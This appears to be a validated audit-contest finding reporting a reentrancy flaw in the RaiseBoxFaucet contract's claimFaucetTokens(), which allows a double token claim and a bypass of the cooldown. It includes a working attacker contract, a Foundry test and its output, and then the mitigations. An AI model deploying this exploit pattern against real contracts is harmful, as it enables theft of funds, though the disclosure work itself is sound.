Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens() Allows Double-Claim and Cooldown Bypass

Description

The claimFaucetTokens() function in RaiseBoxFaucet.sol contains a critical reentrancy vulnerability that allows attackers to bypass the 3-day claim cooldown and drain double the intended token amount in a single transaction. The vulnerability exists because the function updates critical state variables (lastClaimTime and dailyClaimCount) after making an external ETH transfer to an untrusted address, violating the Checks-Effects-Interactions (CEI) pattern.

Severity: High
Likelihood: High
Impact: Attackers can drain 2x tokens per claim, exhaust daily limits, and prevent legitimate users from accessing the faucet.


Vulnerability Details

Root Cause

The claimFaucetTokens() function performs state updates in the wrong order:

function claimFaucetTokens() public {
// CHECKS: Cooldown verification
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// INTERACTION: External call to untrusted address
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // ⚠️ REENTRANCY POINT
// ...
}
// EFFECTS: State updates AFTER external call ❌
lastClaimTime[faucetClaimer] = block.timestamp; // Line 227
dailyClaimCount++; // Line 228
_transfer(address(this), faucetClaimer, faucetDrip);
}

Attack Flow:

  1. Attacker deploys a malicious contract with a receive() fallback function

  2. Attacker calls claimFaucetTokens() for the first time

  3. The cooldown check passes (first claim)

  4. The contract sends 0.005 ETH to the attacker, triggering the receive() function

  5. Inside receive(), the attacker re-enters claimFaucetTokens()

  6. The cooldown check still passes because lastClaimTime hasn't been updated yet

  7. The second claim completes successfully (no ETH sent this time, but tokens are transferred)

  8. Control returns to the original call, which also completes

  9. Result: Attacker receives 2,000 tokens instead of 1,000

Risk

Likelihood: HIGH

  • Reason 1: The vulnerability is triggered deterministically on every first-time claim when sepEthDripsPaused = false and the contract has sufficient ETH balance. No race conditions, oracle dependencies, or external protocol states are required—the attack surface is purely within the contract's control flow.


  • Reason 2: Exploitation requires only basic Solidity knowledge (deploying a contract with a receive() function that re-calls the faucet). Publicly available reentrancy attack templates can be adapted in minutes. The low technical barrier ensures widespread exploitability.


  • Reason 3: The faucet is designed for public access on Sepolia testnet, attracting users specifically seeking free tokens. Adversarial actors monitoring testnet deployments can trivially identify and exploit this vulnerability using automated tools or manual inspection before legitimate users drain the supply.

Impact: HIGH

  • Impact 1 - Cooldown Bypass (Direct):
    Each malicious contract can claim 2000 tokens (2x faucetDrip) in a single transaction, completely bypassing the 3-day cooldown period. This represents a 100% violation of the intended rate-limiting mechanism.


  • Impact 2 - Economic Exploitation (Scalable):
    An attacker can deploy 50 malicious contracts to drain 100,000 tokens (50 × 2000) in under 1 minute, consuming the entire daily claim limit.


Proof of Concept

Step 1: Create Exploit Contract

Create file test/ReentrancyAttacker.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public immutable faucet;
uint256 public attackCount;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (attackCount == 0) {
attackCount++;
try faucet.claimFaucetTokens() {} catch {}
}
}
}

Step 2: Add Test to Existing Test File

Add to test/RaiseBoxFaucet.t.sol:

import {ReentrancyAttacker} from "./ReentrancyAttacker.sol";
function testReentrancyExploit() public {
// Deploy attacker contract
ReentrancyAttacker attacker = new ReentrancyAttacker(payable(address(raiseBoxFaucet)));
// Record initial balance
uint256 balanceBefore = raiseBoxFaucet.balanceOf(address(attacker));
console.log("Initial balance:", balanceBefore);
// Execute attack
attacker.attack();
// Record final balance
uint256 balanceAfter = raiseBoxFaucet.balanceOf(address(attacker));
uint256 expectedSingle = raiseBoxFaucet.faucetDrip();
console.log("Final balance:", balanceAfter);
console.log("Expected single claim:", expectedSingle);
console.log("Attack count:", attacker.attackCount());
// Verify double claim
assertEq(balanceAfter - balanceBefore, 2 * expectedSingle, "Should claim 2x tokens");
assertEq(attacker.attackCount(), 1, "Reentrancy occurred once");
}

Step 3: Run the Exploit Test

forge test --match-test testReentrancyExploit -vv

Step 4: Expected Test Output (BEFORE FIX)

Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] testReentrancyExploit() (gas: 444314)
Logs:
Initial balance: 0
Final balance: 2000000000000000000000
Expected single claim: 1000000000000000000000
Attack count: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.97ms

Recommended Mitigation

OPTION 1 : FIX CEI PATTERN

Apply Checks-Effects-Interactions correctly by moving state updates before external calls:

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// CHECKS: Verify all requirements
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // EFFECTS: Update state BEFORE external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ dailyDrips = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
+ // Determine if ETH drip is needed
+ bool shouldDripEth = false;
+ uint256 ethAmount = 0;
+
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
- if (block.timestamp > lastSepEthDripDay + 1 days) {
- lastSepEthDripDay = block.timestamp;
- dailyDrips = 0;
- }
-
+ if (block.timestamp > lastSepEthDripDay + 1 days) {
+ lastSepEthDripDay = block.timestamp;
+ dailyDrips = 0;
+ }
+
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ shouldDripEth = true;
+ ethAmount = sepEthAmountToDrip;
}
- } else {
- if (block.timestamp > lastSepEthDripDay + 1 days) {
- lastSepEthDripDay = block.timestamp;
- dailyDrips = 0;
- }
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
-
+ // INTERACTIONS: External calls LAST
_transfer(address(this), faucetClaimer, faucetDrip);
+
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: ethAmount}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, ethAmount);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
+
emit Claimed(msg.sender, faucetDrip);
}

Option 2 : Add Reentrancy Guard

For additional security, combine CEI fix with OpenZeppelin's ReentrancyGuard:

- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
Updates

Lead Judging Commences

inallhonesty Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.